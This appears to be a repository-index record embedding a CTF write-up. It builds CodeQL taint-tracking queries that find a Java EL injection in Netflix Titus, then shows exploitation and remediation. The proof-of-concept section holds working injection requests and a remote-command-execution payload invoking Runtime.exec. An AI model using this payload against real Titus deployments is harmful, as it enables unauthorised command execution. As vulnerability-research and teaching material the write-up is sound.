{"id":16932053,"url":"https://github.com/cldrn/ctf4-codeql-and-chill-java","last_synced_at":"2025-03-21T03:40:21.941Z","repository":{"id":71832993,"uuid":"268394596","full_name":"cldrn/ctf4-codeql-and-chill-java","owner":"cldrn","description":"My attempt solution for GitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition","archived":false,"fork":false,"pushed_at":"2020-06-10T05:55:27.000Z","size":585,"stargazers_count":2,"open_issues_count":0,"forks_count":0,"subscribers_count":3,"default_branch":"master","last_synced_at":"2025-01-26T00:17:13.767Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"https://securitylab.github.com/ctf/codeql-and-chill","language":"CodeQL","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/cldrn.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-06-01T01:11:31.000Z","updated_at":"2022-02-02T16:16:08.000Z","dependencies_parsed_at":null,"dependency_job_id":"97d89de5-df90-43b5-8bcb-cba69d59758d","html_url":"https://github.com/cldrn/ctf4-codeql-and-chill-java","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cldrn%2Fctf4-codeql-and-chill-java","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cldrn%2Fctf4-codeql-and-chill-java/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cldrn%2Fctf4-codeql-and-chill-java/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/cldrn%2Fctf4-codeql-and-chill-java/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/cldrn","download_url":"https://codeload.github.com/cldrn/ctf4-codeql-and-chill-java/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":244734087,"owners_count":20501014,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-10-13T20:45:26.941Z","updated_at":"2025-03-21T03:40:21.906Z","avatar_url":"https://github.com/cldrn.png","language":"CodeQL","funding_links":[],"categories":[],"sub_categories":[],"readme":"# ctf4-codeql-and-chill-java\nGitHub Security Lab CTF 4: CodeQL and Chill - The Java Edition:\n* [Intro](#tainttracking-configuration-for-netflix-titus)\n* [Step 1.1: Setting up our sources](#step-11-setting-up-our-sources)\n* [Step 1.2: Setting up our sinks](#step-12-setting-up-our-sinks)\n* [Step 1.3: Our taint tracking configuration](#step-13-our-taint-tracking-configuration)\n* [Step 1.4: Partial Flowing](#step-14-partial-flowing)\n* [Step 1.5: Missing taint steps](#step-15-missing-taint-steps)\n* [Step 1.6: Additional taint steps](#step-16-additional-taint-steps)\n* [Step 1.7: Adding taint steps through constructors](#step-17-adding-taint-steps-through-constructors)\n* [Step 1.8: Finish line](#step-18-finish-line)\n* [Step 2: Another issue](#step-2-another-issue)\n* [Step 3: Errors and exceptions](#step-3-errors-and-exceptions)\n* [Step 4: Exploit and remediation](#step-4-exploit-and-remediation)\n* [Step 4.1: PoC](#step-41-poc)\n* [Step 4.2: Remediation](#step-42-remediation)\n\n## TaintTracking Configuration for Netflix Titus\nI've been wanting to look into the power of TaintTracking in CodeQL for some time and this CTF is perfect for learning and practicing against a real life target. The challenge takes you from setting up flow paths to fully customizing them when tracking the vulnerabilities and puts the cherry on top with an interesting Java EL injection.\n\nLet's CodeQL and chill!\n\n## Step 1.1: Setting up our sources\nWe are setting the source to be the first parameter of `ConstraintValidator.isValid()`. We start by modeling a QL class to filter Java classes that implement javax.validation.ConstraintValidator:\n\n```java\n/*\n* ConstraintValidatorClass (Class)\n* Holds classes implementing javax.validation.ConstraintValidator\u003c\u003e's\n*/\nclass ConstraintValidatorClass extends Class {\n    ConstraintValidatorClass() {\n        this.getASupertype().getASupertype+().hasQualifiedName(\"javax.validation\", \"ConstraintValidator\u003c\u003e\")\n    }\n}\n```\n\nNow we need a class to reference the `isValid` method that meets the following criteria:\n* Must be in a class that implements `javax.validation.ConstraintValidator\u003c\u003e`\n* Only methods in the ConstraintValidator interface\n* Has the name `isValid`\n\n```java\n/*\n* ConstraintValidatorIsValid (Method)\n* Holds method isValid implemented in the ConstraintValidator interface\n*/\nclass ConstraintValidatorIsValid extends Method {\n    ConstraintValidatorIsValid() {\n        this.getDeclaringType() instanceof ConstraintValidatorClass //javax.validation.ConstraintValidator\u003c\u003e's\n        and this.hasName(\"isValid\") //Only methods with name 'isValid'\n        and not(this.isPrivate()) //Only methods in the ConstraintValidator interface \n        //and this.hasAnnotation() //We can also look for the @override annotation)\n    }\n}\n```\nWe use our new QL class to set the first parameter as the source:\n```java\n    override predicate isSource(DataFlow::Node source) { \n        exists( ConstraintValidatorIsValid c |\n        //I was aware of the class RemoteFlowSource but the following line didn't work as expected\n            //source instanceof RemoteFlowSource and\n            source.asParameter() = c.getParameter(0) \n        ) \n    }\n```\nAnd we get our 6 results as expected!\n\n![](img/1.1.PNG)\n\n## Step 1.2: Setting up our sinks\nIt is time to configure our sinks as the first argument of method calls to `buildConstraintViolationWithTemplate`:\n```java\n/*\n* isBuildConstraintViolationWithTemplate\n* Returns expression holding the first argument of method calls to 'buildConstraintViolationWithTemplate'\n*/\npredicate isBuildConstraintViolationWithTemplate(Expr arg) {\n    exists(MethodAccess buildCallAccess |\n        buildCallAccess.getMethod().getName() = \"buildConstraintViolationWithTemplate\"\n        and arg = buildCallAccess.getArgument(0)\n    )\n}\n```\nWe will use this expression inside our TaintTracking configuration as follows:\n```java\n    override predicate isSink(DataFlow::Node sink) { \n        exists( Expr arg |\n            isBuildConstraintViolationWithTemplate(arg)\n            and sink.asExpr() = arg \n        ) \n    }\n```\nAnd now we can clearly identify our five sinks.\n\n![](img/1.2.PNG)\n\n## Step 1.3: Our taint tracking configuration\nLet's put together our first attempt at taint tracking:\n```\n/*\n* TitusTTConf - TaintTracking Configuration for EL injection in Titus\n* Source: ConstraintValidator.isValid(*,)\n* Sink: ConstraintValidatorContext.buildConstraintViolationWithTemplate(*,)\n*/\nclass TitusTTConf extends TaintTracking::Configuration {\n    TitusTTConf() { this = \"TitusTTConf\" }\n\n    override predicate isSource(DataFlow::Node source) { \n        exists( ConstraintValidatorIsValid c |\n        //I was aware of the class RemoteFlowSource but the following line didn't work as expected\n            //source instanceof RemoteFlowSource and\n            source.asParameter() = c.getParameter(0) \n        ) \n    }\n\n    override predicate isSink(DataFlow::Node sink) { \n        exists( Expr arg |\n            isBuildConstraintViolationWithTemplate(arg)\n            and sink.asExpr() = arg \n        ) \n    }\n}\n\n\nfrom TitusTTConf cfg, DataFlow::PathNode source, DataFlow::PathNode sink\nwhere cfg.hasFlowPath(source, sink)\nselect sink, source, sink, \"Custom constraint error message contains unsanitized user data\"\n\n```\n\nUnfortunately, this was not enough to catch our vulnerabilities. Let's keep trying.\n\n## Step 1.4: Partial flowing\nFor this step, we need to use partial flows to detect where the flows stop being tracked. This is very useful for debugging as flows don't propagate through getters/setters and other methods.\n\nTo constrain all the possible sources, we could filter by file name. However, keep in mind that `toString()` calls are not suitable for production code in QL:\n```\nsource.getNode().getEnclosingCallable().getFile().toString() = \"SchedulingConstraintValidator\"\n```\nOr maybe by the type of parameter:\n```\nsource.getNode().getEnclosingCallable().getParameterType(0) instanceof ContainerClass \n```\nAnd there are many other possibilities available. We will use `DataFlow::PartialPathNode` for this part. Putting everything together gives us the following query:\n```\n/*\n* Holds for classes named Container\n*/\nclass ContainerClass extends Class {\n    ContainerClass() {\n        this.getName() = \"Container\"\n    }\n}\n\nclass TitusTTConfig extends TaintTracking::Configuration {\n    TitusTTConfig() { this = \"TitusTTConfig\" }\n\n    override predicate isSource(DataFlow::Node source) { \n        exists( ConstraintValidatorIsValid c |\n            source.asParameter() = c.getParameter(0)\n        )\n    }\n\n    override predicate isSink(DataFlow::Node sink) { \n        exists( Expr arg |\n            isBuildConstraintViolationWithTemplate(arg) and\n            sink.asExpr() = arg \n        ) \n    }    \n    override int explorationLimit() { result =  10} \n}\n\nfrom TitusTTConfig cfg, DataFlow::PartialPathNode source, DataFlow::PartialPathNode sink, int dist\nwhere \ncfg.hasPartialFlow(source, sink, dist)\n//and source.getNode().getEnclosingCallable().getFile().toString() = \"SchedulingConstraintValidator\" //By filename\nand source.getNode().getEnclosingCallable().getParameterType(0) instanceof ContainerClass //By type\n\nselect sink, source, sink, \"Partial flow from unsanitized user data:\"\n```\nNow, we can focus on the specific flows that we are tracking. Note how the argument of type Container looks interesting:\n\n![](img/1.4.PNG)\n\n## Step 1.5: Missing taint steps\nTracking the vulnerability allow us to see where the flow is stopping. My guess is that getters/setters methods will often overwrite the tainted data, and leaving it unconstrained could also return a very large number of results. I found out about this when a poorly written query consumed all my RAM :). We need to limit the number of sources when analyzing partial flows.\n\n## Step 1.6: Additional taint steps\nFor this we write an additional taint tracking step that defines a new flow through these functions and it stops right before the HashSet constructor call. We define a class and a predicate to be called from the step call:\n\n```\nclass FlowConstraints extends Method {\n    FlowConstraints() {\n        this.hasName(\"getSoftConstraints\")\n        or this.hasName(\"getHardConstraints\")\n        or this.hasName(\"keySet\")\n    }\n}\npredicate expressionCompileStep(DataFlow::Node node1, DataFlow::Node node2) {\n    exists(MethodAccess ma, Method m | ma.getMethod() = m |\n        m instanceof FlowConstraints and\n        ma = node2.asExpr() and\n        ma.getQualifier() = node1.asExpr()\n    )\n}\n```\n\nAnd we extend the TaintTracking::AdditionalTaintStep class as follows:\n\n```\nclass NetflixTitusSteps extends TaintTracking::AdditionalTaintStep {\n    override predicate step(DataFlow::Node node1, DataFlow::Node node2) {\n        expressionCompileStep(node1, node2) \n    }\n}\n```\n## Step 1.7: Adding taint steps through constructors\nTo add the step through the constructor of HashSet we need to define another predicate:\n\n```\n/*\n* HashSet constructor classes\n*/\nclass TypeHashtable extends RefType {\nTypeHashtable() { \n    hasQualifiedName(\"java.util\", \"HashSet\") or\n    hasQualifiedName(\"java.util\", \"HashSet\u003c\u003e\") or\n    hasQualifiedName(\"java.util\", \"HashSet\u003cString\u003e\") \n    }\n}\n\n/*\n* HashSet constructor call step\n*/\npredicate hashSetMethodStep(DataFlow::Node node1, DataFlow::Node node2) {\n    exists(ConstructorCall cc | cc.getConstructedType() instanceof TypeHashtable |\n        node1.asExpr() = cc.getAnArgument() and\n        (node2.asExpr() = cc or node2.asExpr() = cc.getQualifier())\n    )\n}\n```\nAnd add a call to this new predicate in our step call:\n```\nclass NetflixTitusSteps extends TaintTracking::AdditionalTaintStep {\n    override predicate step(DataFlow::Node node1, DataFlow::Node node2) {\n        expressionCompileStep(node1, node2) or\n        hashSetMethodStep(node1, node2)\n  }\n}\n```\n\n## Step 1.8: Finish line\nAfter adding the missing taint steps, we can run the query again and we get our first vulnerable injection point!\n\n![](img/1.8.PNG)\n\n# Step 2: Another issue\nTo avoid code repetition, I updated our existing class `FlowConstraints` for the missing taint tracking steps. After debuging the flow track in `SchedulingConstraintSetValidator`, we can update our previously defined class with the missing methods (`stream`, `map`, `collect`).\n```\n/*\n* The names of funtions that we want to allow taint tracking flow\n*/\nclass FlowConstraints extends Method {\n    FlowConstraints() {\n        this.hasName(\"getSoftConstraints\")\n        or this.hasName(\"getHardConstraints\")\n        or this.hasName(\"keySet\") \n        or this.hasName(\"stream\")\n        or this.hasName(\"map\")\n        or this.hasName(\"collect\")\n    }\n}\n```\nRunning the query again will return us the result we were missing. We have found the two vulnerabilities!\n\n![](img/2.PNG)\n\n# Step 3: Errors and exceptions\nFor step 3, we need to update our query to include the case where the sink is called from within a catch statement:\n```java\ntry {\n    parse(tainted);\n} catch (Exception e) {\n    sink(e.getMessage())\n}\n```\n\nRemember we are  interested on the method calls done inside catch statements that use the Exception/Throwable argument in the catch clause. Since this specific use case is not in the source code, I wrote a standalone query that I can turn into a predicate for the step() call when ready. The following query detects method access where the variable passed to the `catch` statement is accessed by a function.\n\n```\nimport java\n \nprivate predicate catchTypeNames(string typeName) {\n  typeName = \"Throwable\" or typeName = \"Exception\"\n}\n\nfrom Method m, MethodAccess ma, CatchClause cc, LocalVariableDeclExpr v, TryStmt t, string typeName\nwhere\n  catchTypeNames(typeName)\n  and t.getACatchClause() = cc\n  and cc.getVariable() = v\n  and v.getType().(RefType).hasQualifiedName(\"java.lang\", typeName)\n  and exists(v.getAnAccess())\n  and ma.getMethod() = m\n  and ma.getAnArgument().getType() = cc.getVariable().getType()\nselect cc.getVariable().getType(), ma\n```\n\n![](img/3-1.PNG)\n\nNow that I know that I'm selecting what I'm looking for, I can re-write the query as a predicate and add some simple heuristic to detect calls to our desired sinks. One way to achieve this is filtering by name, let's look for `buildConstraintViolationWithTemplate` with the following query:\n```\nprivate predicate catchTypeNames(string typeName) {\n  typeName = \"Throwable\" or typeName = \"Exception\"\n}\npredicate catchStep(DataFlow::Node node1, DataFlow::Node node2) {\n    exists(Method m, MethodAccess ma, CatchClause cc, LocalVariableDeclExpr v, TryStmt t, string typeName, Expr arg|\n    catchTypeNames(typeName)\n    and t.getACatchClause() = cc \n    and cc.getVariable() = v\n    and v.getType().(RefType).hasQualifiedName(\"java.lang\", typeName)\n    and exists(v.getAnAccess()) \n    and ma.getMethod() = m\n    and ma.getAnArgument().getType() = cc.getVariable().getType() \n    and m.getName() = \"buildConstraintViolationWithTemplate\"\n    and node2.asExpr() = ma\n    and node1.asExpr() = ma.getQualifier()\n    )\n}\n```\nSince the vulnerable pattern is not in our code base, we can test our new step() by changing to the name of the function(s) for some other existing call such as `failed(...)`.\n\n![](img/3-2.PNG)\n\nAt the end, our final predicate for `isAdditionalTaintStep` is:\n```\n   override predicate isAdditionalTaintStep(DataFlow::Node node1,\n                                           DataFlow::Node node2) {\n\n        expressionCompilerCompileStep(node1, node2)\n        or hashSetMethodStep(node1, node2)\n        or catchStep(node1, node2)\n    }\n```\nExcellent, we have located the two vulnerable injection points and our query is robust enough to detect some edge cases. It is time to move to the exploitation part.\n\n# Step 4: Exploit and remediation\n## Step 4.1: PoC\n### Running Netflix Titus\nFor this we can take the easiest route. We start by grabbing the vulnerable tag of Netflix Titus from Github and running the provided Docker images. \n```\ngit clone https://github.com/Netflix/titus-control-plane.git\ngit checkout tags/v0.1.1-rc.263 -b master\ndocker-compose build\ndocker-compose up -d\n```\nIf you are running Windows and it fails, you might need to adjust the new line handling configuration:\n```\ngit config core.autocrlf false\n```\nFinally, you can verify the service is online by checking port 7001 with the URL `/api/v2/status`:\n```\ncurl localhost:7001/api/v2/status\n```\nTime to hunt for that injection point. By inspecting the results given by CodeQL, the error message in the vulnerable call gives us a very user-friendly error. It seems we need to send non-unique key names for softConstraints and hardConstraints to trigger the vulnerable call:\n\n```\ncontext.buildConstraintViolationWithTemplate(\n                \"Soft and hard constraints not unique. Shared constraints: \" + common\n        ).addConstraintViolation().disableDefaultConstraintViolation();\n```\nFrom CodeQL we also know it happens to the `Container` object type. The first thing we need to know is how to schedule a container job so our funtion gets triggered. We look for this in the documentation and the template to schedule a job is listed on the project's README file:\n```json\ncurl localhost:7001/api/v3/jobs \\\n  -X POST -H \"Content-type: application/json\" -d \\\n  '{\n    \"applicationName\": \"localtest\",\n    \"owner\": {\"teamEmail\": \"me@me.com\"},\n    \"container\": {\n      \"image\": {\"name\": \"alpine\", \"tag\": \"latest\"},\n      \"entryPoint\": [\"/bin/sleep\", \"1h\"],\n      \"securityProfile\": {\"iamRole\": \"test-role\", \"securityGroups\": [\"sg-test\"]}\n    },\n    \"batch\": {\n      \"size\": 1,\n      \"runtimeLimitSec\": \"3600\",\n      \"retryPolicy\":{\"delayed\": {\"delayMs\": \"1000\", \"retries\": 3}}\n    }\n  }'\n  ```\n  Now we can create a job but there is nothing about constraints there. By querying `/api/v3/jobs` I found the complete structure of the message included soft and hard constraints. Now, we can send our first injection attempt:\n```\n{\n    \"applicationName\": \"localtest\",\n    \"owner\": {\"teamEmail\": \"me@me.com\"},\n    \"container\": {\n      \"image\": {\"name\": \"alpine2\", \"tag\": \"latest\"},\n      \"entryPoint\": [\"/bin/sleep\", \"1h\"],\n      \"securityProfile\": {\"iamRole\": \"test-role\", \"securityGroups\": [\"sg-test\"]},\n      \"hardConstraints\": {\"constraints\": {\"${9*9}\":\"a\"}, \"expression\": \"${9*9}\"},\n      \"softConstraints\": {\"constraints\": {\"${9*9}\":\"a\"}, \"expression\": \"${9*9}\"}\n    },\n    \"batch\": {\n      \"size\": 1,\n      \"runtimeLimitSec\": \"3600\",\n      \"retryPolicy\":{\"delayed\": {\"delayMs\": \"1000\", \"retries\": 3}}\n    }\n  }\n```\nThis failed but gave me confirmation that we are hitting the right sink as I now see the same error message I was expecting:\n```\n{\"statusCode\":400,\"message\":\"Invalid Argument: {Validation failed: 'field: 'container.hardConstraints', description: 'Unrecognized constraints [${9*9}]', type: 'HARD''}, {Validation failed: 'field: 'container.softConstraints', description: 'Unrecognized constraints [${9*9}]', type: 'HARD''}, {Validation failed: 'field: 'container', description: 'Soft and hard constraints not unique. Shared constraints: [${9*9}]', type: 'HARD''}\"}\n```\nAfter trying the most common Java EL injection vectors such as `${}`, `%()`..., we find one that gets our code interpreted:\n```\n{\n    \"applicationName\": \"localtest\",\n    \"owner\": {\"teamEmail\": \"me@me.com\"},\n    \"container\": {\n      \"image\": {\"name\": \"alpine2\", \"tag\": \"latest\"},\n      \"entryPoint\": [\"/bin/sleep\", \"1h\"],\n      \"securityProfile\": {\"iamRole\": \"test-role\", \"securityGroups\": [\"sg-test\"]},\n      \"hardConstraints\": {\"constraints\": {\"CTF-AND-CHILL-#{3+1}\":\"a\"}, \"expression\": \"\"},\n      \"softConstraints\": {\"constraints\": {\"CTF-AND-CHILL-#{3+1}\":\"a\"}, \"expression\": \"\"}\n      },\n    \"batch\": {\n      \"size\": 1,\n      \"runtimeLimitSec\": \"3600\",\n      \"retryPolicy\":{\"delayed\": {\"delayMs\": \"1000\", \"retries\": 3}}\n    }\n  }\n```\nThe response shows that `CTF-AND-CHILL-#{3+1}` got interpreted as `CTF-AND-CHILL-4`!\n```\n{\"statusCode\":400,\"message\":\"Invalid Argument: {Validation failed: 'field: 'container', description: 'Soft and hard constraints not unique. Shared constraints: [CTF-AND-CHILL-4]', type: 'HARD''}, {Validation failed: 'field: 'container.softConstraints', description: 'Unrecognized constraints [ctf-and-chill-4]', type: 'HARD''}, {Validation failed: 'field: 'container.hardConstraints', description: 'Unrecognized constraints [ctf-and-chill-4]', type: 'HARD''}\"}\n```\nNow we need to come up with an EL expression that a Remote Command Execution vulnerability. This part was very challenging as an exception was thrown when validating the message interpolation. For this we used @pwntester's neat trick and our RCE PoC payload looks like this: \n```\n#{#this.class.name.substring(0,5) == 'com.g' ? '' : T(java.lang.Runtime).getRuntime().exec(new java.lang.String('ping -c 10 192.168.0.4')).class.name}\n```\nAnd we can finally confirm the RCE!!!\n\n![](img/4.PNG)\n\n## Step 4.2: Remediation\nAfter downloading the latest snapshot of the project's CodeQL database, we can confirm the vulnerability is no longer there:\n\n![](img/4.2-1.PNG)\n\nNow, from the remediation techniques discussed in the [original advisory](https://securitylab.github.com/advisories/GHSL-2020-028-netflix-titus/), let's find cases that set the messageInterpolator function to any other value than `ParameterMessageInterpolator`, hence, giving us possible points where EL interpolation could be enabled:\n```\nimport java\n\nfrom Method m, MethodAccess ma\nwhere \n  m.getName()=\"messageInterpolator\" \n  and ma.getMethod() = m\n  and not(ma.getArgument(0).getType().getName() = \"ParameterMessageInterpolator\")\nselect m, ma, ma.getArgument(0), ma.getArgument(0).getType(), ma.getEnclosingCallable()\n```\n![](img/4.2.PNG)\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcldrn%2Fctf4-codeql-and-chill-java","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fcldrn%2Fctf4-codeql-and-chill-java","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fcldrn%2Fctf4-codeql-and-chill-java/lists"}